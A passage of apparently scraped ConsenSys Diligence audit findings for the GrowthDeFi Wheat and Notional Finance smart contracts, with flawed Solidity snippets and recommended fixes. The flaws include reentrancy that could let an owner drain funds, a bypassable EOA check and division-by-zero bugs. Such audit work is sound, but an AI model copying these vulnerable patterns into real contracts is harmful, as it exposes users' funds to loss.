Even though we did not find any specific case of returning a different amount of tokens, it is still a good idea to handle this situation to minimize relying on the security of the external contracts. Recommendation There are a few options how to mitigate the issue: Double-check the balance difference before and after the MasterChef s withdraw function is called. Handle this situation in the emergency mode (https://github.com/ConsenSys/growthdefi-audit-2021-06/issues/11). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.5 Emergency mode of the MasterChef contracts is not supported ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description All the underlying MasterChef contracts have the emergency withdrawal mode, which allows simpler withdrawal (excluding the rewards): // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; user.rewardLockedUp = 0; user.nextHarvestUntil = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 wantLockedTotal = IStrategy(poolInfo[_pid].strat).wantLockedTotal(); uint256 sharesTotal = IStrategy(poolInfo[_pid].strat).sharesTotal(); uint256 amount = user.shares.mul(wantLockedTotal).div(sharesTotal); IStrategy(poolInfo[_pid].strat).withdraw(msg.sender, amount); pool.want.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); user.shares = 0; user.rewardDebt = 0; While it s hard to predict how and why the emergency mode can be enabled in the underlying MasterChef contracts, these functions are there for a reason, and it s safer to be able to use them. If some emergency happens and this is the only way to withdraw funds, the funds in the strategy contracts will be locked forever. Recommendation Add the emergency mode implementation. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.6 The capping mechanism for Panther token leads to increased fees ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description Panther token has a cap in transfer sizes, so any transfer in the contract is limited beforehand: wheat-v1-core-audit/contracts/PantherSwapCompoundingStrategyToken.sol:L218-L245 function gulp(uint256 _minRewardAmount) external onlyEOAorWhitelist nonReentrant uint256 _pendingReward = _getPendingReward(); if (_pendingReward > 0) { _withdraw(0); uint256 __totalReward = Transfers._getBalance(rewardToken); (uint256 _feeReward, uint256 _retainedReward) = _capFeeAmount(__totalReward.mul(performanceFee) / 1e18); Transfers._pushFunds(rewardToken, buyback, _feeReward); if (rewardToken != routingToken) { require(exchange != address(0), \"exchange not set\"); uint256 _totalReward = Transfers._getBalance(rewardToken); _totalReward = _capTransferAmount(rewardToken, _totalReward, _retainedReward); Transfers._approveFunds(rewardToken, exchange, _totalReward); IExchange(exchange).convertFundsFromInput(rewardToken, routingToken, _totalReward, 1); if (routingToken != reserveToken) { require(exchange != address(0), \"exchange not set\"); uint256 _totalRouting = Transfers._getBalance(routingToken); _totalRouting = _capTransferAmount(routingToken, _totalRouting, _retainedReward); Transfers._approveFunds(routingToken, exchange, _totalRouting); IExchange(exchange).joinPoolFromInput(reserveToken, routingToken, _totalRouting, 1); uint256 _totalBalance = Transfers._getBalance(reserveToken); _totalBalance = _capTransferAmount(reserveToken, _totalBalance, _retainedReward); require(_totalBalance >= _minRewardAmount, \"high slippage\"); _deposit(_totalBalance); Fees here are calculated from the full amount of rewards (__totalReward ): wheat-v1-core-audit/contracts/PantherSwapCompoundingStrategyToken.sol:L225 (uint256 _feeReward, uint256 _retainedReward) = _capFeeAmount(__totalReward.mul(performanceFee) / 1e18); But in fact, if the amount of the rewards is too big, it will be capped, and the residuals will be taxed again during the next call of the gulp function. That behavior leads to multiple taxations of the same tokens, which means increased fees. Recommendation The best solution would be to cap __totalReward first and then calculate fees from the capped value. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.7 The _capFeeAmount function is not working as intended ", "body": " Resolution Client s statement : With the fix of 6.6 this code was removed and therefore no changes were required. \" Description Panther token has a limit on the transfer size. Because of that, all the Panther transfer values in the PantherSwapCompoundingStrategyToken are also capped beforehand. The following function is called to cap the size of fees: wheat-v1-core-audit/contracts/PantherSwapCompoundingStrategyToken.sol:L357-L366 function _capFeeAmount(uint256 _amount) internal view returns (uint256 _capped, uint256 _retained) _retained = 0; uint256 _limit = _calcMaxRewardTransferAmount(); if (_amount > _limit) { _amount = _limit; _retained = _amount.sub(_limit); return (_amount, _retained); This function should return the capped amount and the amount of retained tokens. But because the _amount is changed before calculating the _retained, the retained amount will always be 0. Recommendation Calculate the retained value before changing the amount. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.8 Stale split ratios in UniversalBuyback ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description The gulp and pendingBurning functions of the UniversalBuyback contract use the hardcoded, constant values of DEFAULT_REWARD_BUYBACK1_SHARE and DEFAULT_REWARD_BUYBACK2_SHARE to determine the ratio the trade value is split with. Consequently, any call to setRewardSplit to set a new ratio will be ineffective but still result in a ChangeRewardSplit event being emitted. This event can deceive system operators and users as it does not reflect the correct values of the contract. Examples wheat-v1-core-audit/contracts/UniversalBuyback.sol:L80-L81 uint256 _amount1 = _balance.mul(DEFAULT_REWARD_BUYBACK1_SHARE) / 1e18; uint256 _amount2 = _balance.mul(DEFAULT_REWARD_BUYBACK2_SHARE) / 1e18; wheat-v1-core-audit/contracts/UniversalBuyback.sol:L97-L98 uint256 _amount1 = _balance.mul(DEFAULT_REWARD_BUYBACK1_SHARE) / 1e18; uint256 _amount2 = _balance.mul(DEFAULT_REWARD_BUYBACK2_SHARE) / 1e18; Recommendation Instead of the default values, rewardBuyback1Share and rewardBuyback2Share should be used. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.9 Future-proofness of the onlyEOAorWhitelist modifier ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description The onlyEOAorWhitelist modifier is used in various locations throughout the code. It performs a check that asserts the message sender being equal to the transaction origin to assert the calling party is not a smart contract. This approach may stop working if EIP-3074 and its AUTH and AUTHCALL opcodes get deployed. While the OpenZeppelin reentrancy guard does not depend on tx.origin, the EOA check does. Its evasion can result in additional attack vectors such as flash loans opening up. It is noteworthy that preventing smart contract interaction with the protocol may limit its opportunities as smart contracts cannot integrate with it in the same way that GrowthDeFi integrates with its third-party service providers. The onlyEOAorWhitelist modifier may give a false sense of security because it won t allow making a flash loan attack by most of the users. But the same attack can still be made by some people or with more risk: The owner and the whitelisted contracts are not affected by the modifier. The modifier can be disabled: **wheat-v1-core-audit/contracts/WhitelistGuard.sol:L21-L28** ```solidity modifier onlyEOAorWhitelist() { \tif (enabled) { \t\taddress _from = _msgSender(); \t\trequire(tx.origin == _from || whitelist.contains(_from), \"access denied\"); \t} \t_; } ``` And in the deployment script, this modifier is disabled for testing purposes, and it s important not to forget to turn it in on the production: wheat-v1-core-audit/migrations/02_deploy_contracts.js:L50 await pancakeSwapFeeCollector.setWhitelistEnabled(false); // allows testing The attack can usually be split into multiple transactions. Miners can put these transactions closely together and don t take any additional risk. Regular users can take a risk, take the loan, and execute the attack in multiple transactions or even blocks. Recommendation It is strongly recommended to monitor the progress of this EIP and its potential implementation on the Binance Smart Chain. If this functionality gets enabled, the development team should update the contract system to use the new opcodes. We also strongly recommend relying less on the fact that only EOA will call the functions. It is better to write the code that can be called by the external smart contracts without compromising its security. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.10 Exchange owner might steal users funds using reentrancy ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description The practice of pulling funds from a user (by using safeTransferFrom) and then later pushing (some) of the funds back to the user occurs in various places in the Exchange contract. In case one of the used token contracts (or one of its dependent calls) externally calls the Exchange owner, the owner may utilize that to call back Exchange.recoverLostFunds and drain (some) user funds. Examples wheat-v1-core-audit/contracts/Exchange.sol:L80-L89 function convertFundsFromInput(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) external override returns (uint256 _outputAmount) address _sender = msg.sender; Transfers._pullFunds(_from, _sender, _inputAmount); _inputAmount = Math._min(_inputAmount, Transfers._getBalance(_from)); // deals with potential transfer tax _outputAmount = UniswapV2ExchangeAbstraction._convertFundsFromInput(router, _from, _to, _inputAmount, _minOutputAmount); _outputAmount = Math._min(_outputAmount, Transfers._getBalance(_to)); // deals with potential transfer tax Transfers._pushFunds(_to, _sender, _outputAmount); return _outputAmount; wheat-v1-core-audit/contracts/Exchange.sol:L121-L130 function joinPoolFromInput(address _pool, address _token, uint256 _inputAmount, uint256 _minOutputShares) external override returns (uint256 _outputShares) address _sender = msg.sender; Transfers._pullFunds(_token, _sender, _inputAmount); _inputAmount = Math._min(_inputAmount, Transfers._getBalance(_token)); // deals with potential transfer tax _outputShares = UniswapV2LiquidityPoolAbstraction._joinPoolFromInput(router, _pool, _token, _inputAmount, _minOutputShares); _outputShares = Math._min(_outputShares, Transfers._getBalance(_pool)); // deals with potential transfer tax Transfers._pushFunds(_pool, _sender, _outputShares); return _outputShares; wheat-v1-core-audit/contracts/Exchange.sol:L99-L111 function convertFundsFromOutput(address _from, address _to, uint256 _outputAmount, uint256 _maxInputAmount) external override returns (uint256 _inputAmount) address _sender = msg.sender; Transfers._pullFunds(_from, _sender, _maxInputAmount); _maxInputAmount = Math._min(_maxInputAmount, Transfers._getBalance(_from)); // deals with potential transfer tax _inputAmount = UniswapV2ExchangeAbstraction._convertFundsFromOutput(router, _from, _to, _outputAmount, _maxInputAmount); uint256 _refundAmount = _maxInputAmount - _inputAmount; _refundAmount = Math._min(_refundAmount, Transfers._getBalance(_from)); // deals with potential transfer tax Transfers._pushFunds(_from, _sender, _refundAmount); _outputAmount = Math._min(_outputAmount, Transfers._getBalance(_to)); // deals with potential transfer tax Transfers._pushFunds(_to, _sender, _outputAmount); return _inputAmount; wheat-v1-core-audit/contracts/Exchange.sol:L139-L143 function recoverLostFunds(address _token) external onlyOwner uint256 _balance = Transfers._getBalance(_token); Transfers._pushFunds(_token, treasury, _balance); Recommendation Reentrancy guard protection should be added to Exchange.convertFundsFromInput, Exchange.convertFundsFromOutput, Exchange.joinPoolFromInput, Exchange.recoverLostFunds at least, and in general to all public/external functions since gas price considerations are less relevant for contracts deployed on BSC. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "5.1 VaultConfig.setVaultConfig doesn t check all critical arguments ", "body": " Resolution Remediated per Notional s team notes in commit by adding the following checks: Checks to ensure borrow currency and secondary currencies cannot change once set Check to ensure liquidationRate does not exceed minCollateralRatioBPS Check for maxBorrowMarketIndex was not added. The Notional team will review this parameter on a case-by-case basis as for some vaults borrowing idiosyncratic fCash may not be an issue Description The Notional Strategy Vaults need to get whitelisted and have specific Notional parameters set in order to interact with the rest of the Notional system. This is done through VaultAction.updateVault() where the owner address can provide a VaultConfigStorage calldata vaultConfig argument to either whitelist a new vault or change an existing one. While this is to be performed by a trusted privileged actor (the owner), and it could be assumed they are careful with their updates, the contracts themselves don t perform enough checks on the validity of the parameters, either in isolation or when compared against the existing vault state. Below are examples of arguments that should be better checked. borrowCurrencyId The borrowCurrencyId parameter gets provided to TokenHandler.getAssetToken() and TokenHandler.getUnderlyingToken() to retrieve its associated TokenStorage object and verify that the currency doesn t have transfer fees. contracts-v2/contracts/internal/vaults/VaultConfiguration.sol:L162-L164 Token memory assetToken = TokenHandler.getAssetToken(vaultConfig.borrowCurrencyId); Token memory underlyingToken = TokenHandler.getUnderlyingToken(vaultConfig.borrowCurrencyId); require(!assetToken.hasTransferFee && !underlyingToken.hasTransferFee); However, these calls retrieve data from the mapping from storage which returns an empty struct for an unassigned currency ID. This would pass the check in the last require statement regarding the transfer fees and would successfully allow to set the currency even if isn t actually registered in Notional. The recommendation would be to check that the returned TokenStorage object has data inside of it, perhaps by checking the decimals on the token. In the event that this is a call to update the configuration on a vault instead of whitelisting a whole new vault, this would also allow to switch the borrow currency without checking that the existing borrow and lending accounting has been cleared. This could cause accounting issues. A check for existing debt before swapping the borrow currency IDs is recommended. liquidationRate and minCollateralRatioBPS contracts-v2/contracts/external/actions/VaultAccountAction.sol:L274-L283 uint256 vaultSharesToLiquidator; vaultSharesToLiquidator = vaultAccount.tempCashBalance.toUint() .mul(vaultConfig.liquidationRate.toUint()) .mul(vaultAccount.vaultShares) .div(vaultShareValue.toUint()) .div(uint256(Constants.RATE_PRECISION)); vaultAccount.vaultShares = vaultAccount.vaultShares.sub(vaultSharesToLiquidator); maxBorrowMarketIndex The current Strategy Vault implementation does not allow for idiosyncratic cash because it causes issues during exits as there are no active markets for the account s maturity. Therefore, the configuration shouldn t be set with maxBorrowMarketIndex >=3 as that would open up the 1 Year maturity for vault accounts that could cause idiosyncratic fCash. The recommendation would be to add that check. secondaryBorrowCurrencies Similarly to the borrowCurrencyId, there are few checks that actually determine that the secondaryBorrowCurrencies[] given are actually registered in Notional. This is, however, more inline with how some vaults are supposed to work as they may have no secondary currencies at all, such as when the secondaryBorrowCurrencies[] id is given as 0. In the event that this is a call to update the configuration on a vault instead of whitelisting a whole new vault, this would also allow to switch the secondary borrow currency without checking that the existing borrow and lending accounting has been cleared. For example, the VaultAction.updateSecondaryBorrowCapacity() function could be invoked on the new set of secondary currencies and simply increase the borrow there. This could cause accounting issues. A check for existing debt before swapping the borrow currency IDs is recommended. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.2 Handle division by 0 ", "body": " Resolution Remediated per Notional s team notes in commit by adding the following checks: Check to account for div by zero in settle vault account Short circuit to ensure debtSharesToRepay is never zero. Divide by zero may still occur but this would signal a critical accounting issue The Notional team also acknowledged that the contract will revert when vaultShareValue = 0. The team decided to not make any changes related to that since liquidation will not accomplish anything for an account with no vault share value. Description There are a few places in the code where division by zero may occur but isn t handled. Examples If the vault settles at exactly 0 value with 0 remaining strategy token value, there may be an unhandled division by zero trying to divide claims on the settled assets: contracts-v2/contracts/internal/vaults/VaultAccount.sol:L424-L436 int256 settledVaultValue = settlementRate.convertToUnderlying(residualAssetCashBalance) .add(totalStrategyTokenValueAtSettlement); // If the vault is insolvent (meaning residualAssetCashBalance < 0), it is necessarily // true that totalStrategyTokens == 0 (meaning all tokens were sold in an attempt to // repay the debt). That means settledVaultValue == residualAssetCashBalance, strategyTokenClaim == 0 // and assetCashClaim == totalAccountValue. Accounts that are still solvent will be paid from the // reserve, accounts that are insolvent will have a totalAccountValue == 0. strategyTokenClaim = totalAccountValue.mul(vaultState.totalStrategyTokens.toInt()) .div(settledVaultValue).toUint(); assetCashClaim = totalAccountValue.mul(residualAssetCashBalance) .div(settledVaultValue); If a vault account is entirely insolvent and its vaultShareValue is zero, there will be an unhandled division by zero during liquidation: contracts-v2/contracts/external/actions/VaultAccountAction.sol:L274-L281 uint256 vaultSharesToLiquidator; vaultSharesToLiquidator = vaultAccount.tempCashBalance.toUint() .mul(vaultConfig.liquidationRate.toUint()) .mul(vaultAccount.vaultShares) .div(vaultShareValue.toUint()) .div(uint256(Constants.RATE_PRECISION)); If a vault account s secondary debt is being repaid when there is none, there will be an unhandled division by zero: contracts-v2/contracts/internal/vaults/VaultConfiguration.sol:L661-L666 VaultSecondaryBorrowStorage storage balance = LibStorage.getVaultSecondaryBorrow()[vaultConfig.vault][maturity][currencyId]; uint256 totalfCashBorrowed = balance.totalfCashBorrowed; uint256 totalAccountDebtShares = balance.totalAccountDebtShares; fCashToLend = debtSharesToRepay.mul(totalfCashBorrowed).div(totalAccountDebtShares).toInt(); While these cases may be unlikely today, this code could be reutilized in other circumstances later that could cause reverts and even disrupt operations more frequently. Recommendation Handle the cases where the denominator could be zero appropriately. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.3 Increasing a leveraged position in a vault with secondary borrow currency will revert ", "body": " Resolution Per Notional team s notes, they have rearranged if statement to ensure that increasing an existing position will work. The proposed solution was skipped as it creates issues with the Commit Description From the client s specifications for the strategy vaults, we know that accounts should be able to increase their leveraged positions before maturity. This property will not hold for the vaults that require borrowing a secondary currency to enter a position. When an account opens its position in such vault for the first time, the VaultAccountSecondaryDebtShareStorage.maturity is set to the maturity an account has entered. When the account is trying to increase the debt position, an accounts current maturity will be checked, and since it is not set to 0, as in the case where an account enters the vault for the first time, nor it is smaller than the new maturity passed by an account as in case of a rollover, the code will revert. Examples contracts-v2/contracts/external/actions/VaultAction.sol:L226-L228 if (accountMaturity != 0) { // Cannot roll to a shorter term maturity require(accountMaturity < maturity); Recommendation In order to fix this issue, we recommend that < is replaced with <= so that account can enter the vault maturity the account is already in as well as the future once. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.4 Secondary Currency debt is not managed by the Notional Controller ", "body": " Resolution Remediated per Notional s team notes in commit by adding valuation for secondary borrow within the vault. Description Some of the Notional Strategy Vaults may allow for secondary currencies to be borrowed as part of the same strategy. For example, a strategy may allow for USDC to be its primary borrow currency as well as have ETH as its secondary borrow currency. In order to enter the vault, a user would have to deposit depositAmountExternal of the primary borrow currency when calling VaultAccountAction.enterVault(). This would allow the user to borrow with leverage, as long as the vaultConfig.checkCollateralRatio() check on that account succeeds, which is based on the initial deposit and borrow currency amounts. This collateral ratio check is then performed throughout that user account s lifecycle in that vault, such as when they try to roll their maturity, or when liquidators try to perform collateral checks to ensure there is no bad debt. However, in the event that the vault has a secondary borrow currency as well, that additional secondary debt is not calculated as part of the checkCollateralRatio() check. The only debt that is being considered is the vaultAccount.fCash that corresponds to the primary borrow currency debt: contracts-v2/contracts/internal/vaults/VaultConfiguration.sol:L313-L319 function checkCollateralRatio( VaultConfig memory vaultConfig, VaultState memory vaultState, VaultAccount memory vaultAccount ) internal view { (int256 collateralRatio, /* */) = calculateCollateralRatio( vaultConfig, vaultState, vaultAccount.account, vaultAccount.vaultShares, vaultAccount.fCash contracts-v2/contracts/internal/vaults/VaultConfiguration.sol:L278-L292 function calculateCollateralRatio( VaultConfig memory vaultConfig, VaultState memory vaultState, address account, uint256 vaultShares, int256 fCash ) internal view returns (int256 collateralRatio, int256 vaultShareValue) { vaultShareValue = vaultState.getCashValueOfShare(vaultConfig, account, vaultShares); // We do not discount fCash to present value so that we do not introduce interest // rate risk in this calculation. The economic benefit of discounting will be very // minor relative to the added complexity of accounting for interest rate risk. // Convert fCash to a positive amount of asset cash int256 debtOutstanding = vaultConfig.assetRate.convertFromUnderlying(fCash.neg()); Whereas the value of strategy tokens that belong to that user account are being calculated by calling IStrategyVault(vault).convertStrategyToUnderlying() on the associated strategy vault: contracts-v2/contracts/internal/vaults/VaultState.sol:L314-L324 function getCashValueOfShare( VaultState memory vaultState, VaultConfig memory vaultConfig, address account, uint256 vaultShares ) internal view returns (int256 assetCashValue) { if (vaultShares == 0) return 0; (uint256 assetCash, uint256 strategyTokens) = getPoolShare(vaultState, vaultShares); int256 underlyingInternalStrategyTokenValue = _getStrategyTokenValueUnderlyingInternal( vaultConfig.borrowCurrencyId, vaultConfig.vault, account, strategyTokens, vaultState.maturity ); contracts-v2/contracts/internal/vaults/VaultState.sol:L296-L311 function _getStrategyTokenValueUnderlyingInternal( uint16 currencyId, address vault, address account, uint256 strategyTokens, uint256 maturity ) private view returns (int256) { Token memory token = TokenHandler.getUnderlyingToken(currencyId); // This will be true if the the token is \"NonMintable\" meaning that it does not have // an underlying token, only an asset token if (token.decimals == 0) token = TokenHandler.getAssetToken(currencyId); return token.convertToInternal( IStrategyVault(vault).convertStrategyToUnderlying(account, strategyTokens, maturity) ); From conversations with the Notional team, it is assumed that this call returns the strategy token value subtracted against the secondary currencies debt, as is the case in the Balancer2TokenVault for example. In other words, when collateral ratio checks are performed, those strategy vaults that utilize secondary currency borrows would need to calculate the value of strategy tokens already accounting for any secondary debt. However, this is a dependency for a critical piece of the Notional controller s strategy vaults collateral checks. Therefore, even though the strategy vaults code and logic would be vetted before their whitelisting into the Notional system, they would still remain an external dependency with relatively arbitrary code responsible for the liquidation infrastructure that could lead to bad debt or incorrect liquidations if the vaults give inaccurate information, and thus potential loss of funds. Recommendation Specific strategy vault implementations using secondary borrows were not in scope of this audit. However, since the core Notional Vault system was, and it includes secondary borrow currency functionality, from the point of view of the larger Notional system it is recommended to include secondary debt checks within the Notional controller contract to reduce external dependency on the strategy vaults logic. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.5 Vaults are unable to borrow single secondary currency ", "body": " Resolution Remediated per Notional s team notes. Description As was previously mentioned some strategies require borrowing one or two secondary currencies. All secondary currencies have to be whitelisted in the VaultConfig.secondaryBorrowCurrencies. Borrow operation on secondary currencies is performed in the borrowSecondaryCurrencyToVault(...) function. Due to a require statement in that function, vaults will only be able to borrow secondary currencies if both of the currencies are whitelisted in VaultConfig.secondaryBorrowCurrencies. Considering that many strategies will have just one secondary currency, this will prevent those strategies from borrowing any secondary assets. Examples contracts-v2/contracts/external/actions/VaultAction.sol:L214 require(currencies[0] != 0 && currencies[1] != 0); Recommendation contracts-v2/contracts/external/actions/VaultAction.sol:L202-L208 function borrowSecondaryCurrencyToVault( address account, uint256 maturity, uint256[2] calldata fCashToBorrow, uint32[2] calldata maxBorrowRate, uint32[2] calldata minRollLendRate ) external override returns (uint256[2] memory underlyingTokensTransferred) { ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.6 An account roll may be impossible if the vault is already at the maximum borrow capacity. ", "body": " Resolution Remediated per Notional s team notes in commit by adding the ability for accounts to deposit during a roll vault position call to offset any additional cost that would put them over the maximum borrow capacity. Description One of the actions allowed in Notional Strategy Vaults is to roll an account s maturity to a later one by borrowing from a later maturity and repaying that into the debt of the earlier maturity. However, this could cause an issue if the vault is at maximum capacity at the time of the roll. When an account performs this type of roll, the new borrow would have to be more than the existing debt simply because it has to at least cover the existing debt and pay for the borrow fees that get added on every new borrow. Since the whole vault was already at max borrow capacity before with the old, smaller borrow, this process would revert at the end after the new borrow as well once the process gets to VaultAccount.updateAccountfCash and VaultConfiguration.updateUsedBorrowCapacity: contracts-v2/contracts/internal/vaults/VaultConfiguration.sol:L243-L257 function updateUsedBorrowCapacity( address vault, uint16 currencyId, int256 netfCash ) internal returns (int256 totalUsedBorrowCapacity) { VaultBorrowCapacityStorage storage cap = LibStorage.getVaultBorrowCapacity()[vault][currencyId]; // Update the total used borrow capacity, when borrowing this number will increase (netfCash < 0), // when lending this number will decrease (netfCash > 0). totalUsedBorrowCapacity = int256(uint256(cap.totalUsedBorrowCapacity)).sub(netfCash); if (netfCash < 0) { // Always allow lending to reduce the total used borrow capacity to satisfy the case when the max borrow // capacity has been reduced by governance below the totalUsedBorrowCapacity. When borrowing, it cannot // go past the limit. require(totalUsedBorrowCapacity <= int256(uint256(cap.maxBorrowCapacity)), \"Max Capacity\"); The result is that users won t able to roll while the vault is at max capacity. However, users may exit some part of their position to reduce their borrow, thereby reducing the overall vault borrow capacity, and then could execute the roll. A bigger problem would occur if the vault configuration got updated to massively reduce the borrow capacity, which would force users to exit their position more significantly with likely a much smaller chance at being able to roll. Recommendation Document this case so that users can realise that rolling may not always be an option. Perhaps consider adding ways where users can pay a small deposit, like on enterVault, to offset the additional difference in borrows and pay for fees so they can remain with essentially the same size position within Notional. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.7 Rollover might introduce economically impractical deposits of dust into a strategy ", "body": " Resolution Acknowledged with a note from the Notional s team: This is true, however, vaults with secondary borrows may need to execute logic in order to roll positions forward. We will opt to not do any handling for dust amounts on the vault controller side and allow each vault to set its own dust thresholds. Description During the rollover of the strategy position into a longer maturity, several things happen: Funds are borrowed from the longer maturity to pay off the debt and fees of the current maturity. Strategy tokens that are associated with the current maturity are moved to the new maturity. Any additional funds provided by the account are deposited into the strategy into a new longer maturity. In reality, due to the AMM nature of the protocol, the funds borrowed from the new maturity could exceed the debt the account has in the current maturity, resulting in a non-zero vaultAccount.tempCashBalance. In that case, those funds will be deposited into the strategy. That would happen even if there are no external funds supplied by the account for the deposit. It is possible that the dust in the temporary account balance will not cover the gas cost of triggering a full deposit call of the strategy. Examples contracts-v2/contracts/internal/vaults/VaultState.sol:L244-L246 uint256 strategyTokensMinted = vaultConfig.deposit( vaultAccount.account, vaultAccount.tempCashBalance, vaultState.maturity, additionalUnderlyingExternal, vaultData ); Recommendation We suggest that additional checks are introduced that would check that on rollover vaultAccount.tempCashBalance + additionalUnderlyingExternal > 0 or larger than a certain threshold like minAccountBorrowSize for example. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "5.8 Significantly undercollateralized accounts will revert on liquidation ", "body": " Resolution Remediated per Notional s team notes in commit by updating the calculations within Description The Notional Strategy Vaults utilise collateral to allow leveraged borrowing as long as the account passes the checkCollateralRatio check that ensures the overall account value is at least minCollateralRatio greater than its debts. If the account doesn t have sufficient collateral, it goes through a liquidation process where some of the collateral is sold to liquidators for the account s borrowed currency in attempt to improve the collateral ratio. However, if the account is severely undercollateralised, the entire account position is liquidated and given over to the liquidator: contracts-v2/contracts/internal/vaults/VaultAccount.sol:L282-L289 int256 depositRatio = maxLiquidatorDepositAssetCash.mul(vaultConfig.liquidationRate).div(vaultShareValue); // Use equal to so we catch potential off by one issues, the deposit amount calculated inside the if statement // below will round the maxLiquidatorDepositAssetCash down if (depositRatio >= Constants.RATE_PRECISION) { maxLiquidatorDepositAssetCash = vaultShareValue.divInRatePrecision(vaultConfig.liquidationRate); // Set this to true to ensure that the account gets fully liquidated mustLiquidateFullAmount = true; Here, the liquidator will need to deposit exactly maxLiquidatorDepositAssetCash=vaultShareValue/liquidationRate in order to get all of account s assets, i.e. all of vaultShareValue in the form of vaultAccount.vaultShares. In fact, later this deposit will be set in vaultAccount.tempCashBalance: contracts-v2/contracts/external/actions/VaultAccountAction.sol:L361-L380 int256 maxLiquidatorDepositExternal = assetToken.convertToExternal(maxLiquidatorDepositAssetCash); // NOTE: deposit amount external is always positive in this method if (depositAmountExternal < maxLiquidatorDepositExternal) { // If this flag is set, the liquidator must deposit more cash in order to liquidate the account // down to a zero fCash balance because it will fall under the minimum borrowing limit. require(!mustLiquidateFull, \"Must Liquidate All Debt\"); } else { // In the other case, limit the deposited amount to the maximum depositAmountExternal = maxLiquidatorDepositExternal; // Transfers the amount of asset tokens into Notional and credit it to the account's temp cash balance int256 assetAmountExternalTransferred = assetToken.transfer( liquidator, vaultConfig.borrowCurrencyId, depositAmountExternal ); vaultAccount.tempCashBalance = vaultAccount.tempCashBalance.add( assetToken.convertToInternal(assetAmountExternalTransferred) ); Then the liquidator will get: contracts-v2/contracts/external/actions/VaultAccountAction.sol:L274-L281 uint256 vaultSharesToLiquidator; vaultSharesToLiquidator = vaultAccount.tempCashBalance.toUint() .mul(vaultConfig.liquidationRate.toUint()) .mul(vaultAccount.vaultShares) .div(vaultShareValue.toUint()) .div(uint256(Constants.RATE_PRECISION)); And if (except for precision and conversions) vaultAccount.tempCashBalance=maxLiquidatorDepositAssetCash=vaultShareValue/liquidationRate, then vaultSharesToLiquidator = (vaultAccount.tempCashBalance * liquidationRate * vaultAccount.vaultShares) / (vaultShareValue) becomes vaultSharesToLiquidator = ((vaultShareValue/liquidationRate)* liquidationRate * vaultAccount.vaultShares) / (vaultShareValue) = vaultAccount.vaultShares In other words, the liquidator needed to deposit exactly vaultShareValue/liquidationRate to get all vaultAccount.vaultShares. However, the liquidator deposit (what would be in vaultAccount.tempCashBalance) needs to cover all of that account s debt, i.e. vaultAccount.fCash. At the end of the liquidation process, the vault account has its fCash and tempCash balances updated: contracts-v2/contracts/external/actions/VaultAccountAction.sol:L289-L290 int256 fCashToReduce = vaultConfig.assetRate.convertToUnderlying(vaultAccount.tempCashBalance); vaultAccount.updateAccountfCash(vaultConfig, vaultState, fCashToReduce, vaultAccount.tempCashBalance.neg()); contracts-v2/contracts/internal/vaults/VaultAccount.sol:L77-L88 function updateAccountfCash( VaultAccount memory vaultAccount, VaultConfig memory vaultConfig, VaultState memory vaultState, int256 netfCash, int256 netAssetCash ) internal { vaultAccount.tempCashBalance = vaultAccount.tempCashBalance.add(netAssetCash); // Update fCash state on the account and the vault vaultAccount.fCash = vaultAccount.fCash.add(netfCash); require(vaultAccount.fCash <= 0); While the vaultAccount.tempCashBalance gets cleared to 0, the vaultAccount.fCash amount only gets to vaultAccount.fCash = vaultAccount.fCash.add(netfCash), and netfCash=fCashToReduce = vaultConfig.assetRate.convertToUnderlying(vaultAccount.tempCashBalance), which, based on the constraints above essentially becomes: 